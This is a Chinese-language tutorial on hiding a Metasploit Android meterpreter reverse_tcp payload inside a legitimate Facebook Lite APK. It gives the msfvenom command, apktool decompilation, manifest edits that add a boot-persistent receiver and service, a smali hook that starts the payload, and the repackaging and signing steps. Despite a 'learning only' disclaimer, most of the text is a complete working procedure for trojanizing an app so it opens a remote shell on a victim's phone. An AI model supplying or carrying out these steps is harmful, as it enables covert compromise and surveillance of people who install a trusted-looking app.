## 前言:本教程只作为学习用途,切勿用于其他用途。恶意入侵他人终端属于国家明令禁止的违法行为,请务必遵守!!!
## 搭建环境:
### kali linux 2019.3
### apktool v2.3.1
### openjdk 11
### keytool
### zipalign
## 原理介绍:
** 这里涉及到一系列Android开发的知识,如果小伙伴们希望更详细的了解。可以先去学习Android开发的相关内容。
### 主程序我们只需要用到AndroidManifest.xml和MainAcitivity。前者是用来存储权限与程序部件,后者是程序的入口(主界面)。
### Payload (代码可以在 https://github.com/rapid7/metasploit-payloads/ 找到)由MainService.java运行,而MainBroadcastReceiver.java用于接收指令。
### Payload的AndroidManifest中的权限加入到主程序的AndroidManifest中。
### Payload的stage打包放入主程序,并在主程序中调用MainService和MainBroadcastReceiver。
## 嵌入步骤:
### 0. 安装相关依赖
apt-get update apt-get install apktool apt-get install keytool apt-get install zipalign apt-get install openjdk-11-jdk-headless -y
### 1. 下载一个想要嵌入Payload的apk, 这里我用的是Facebook lite的apk
### 2. 用metasploit创建payload
msfvenom -p android/meterpreter/reverse_tcp LHOST=<your ip> LPORT=4444 -o /root/Desktop/payload.apk
### 3. 删除已有的资源表
apktool empty-framework-dir --force
### 4. 用apktool反编译Facebook lite和payload的apks
apktool d -f /root/Desktop/fblite.apk -o /root/Desktop/original apktool d -f /root/Desktop/payload.apk -o /root/Desktop/payload
### 5. 在AndroidManifest.xml文件中嵌入权限和payload运行的相关部件
#### 5.1. 加入Payload相关权限
#### 5.2. 加入Payload运行相应部件
<receiver android:label="MainBroadcastReceiver" android:name="com.metasploit.stage.MainBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> <service android:exported="true" android:name="com.metasploit.stage.MainService"/>
### 6. 在Facebook lite的apk反编译文件中,加入启动代码(或钩子)
#### 6.1. 在主程序的AndroidManifest.xml中找到对应的main入口
#### 6.2. 在对应的入口文件中加入以下启动代码
invoke-static {}, Lcom/metasploit/stage/MainService;->start()V
### 7. 重新打包带有payload的facebook lite的apk
cd /root/Desktop/original apktool b /root/Desktop/original/
### 8. 对带有payload的facebook lite的apk进行签名和优化
// 用keytool产生密钥 keytool -genkey -V -keystore /root/Desktop/key.keystore -alias alexis -keyalg RSA -keysize 2048 -validity 1000 // jarsigner进行签名 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/Desktop/key.keystore fblite.apk alexis // zipalign进行优化 zipalign -v 4 fblite.apk signed.apk
## 实现效果展示(如果清晰度不够,请移步bilibili观看哦!)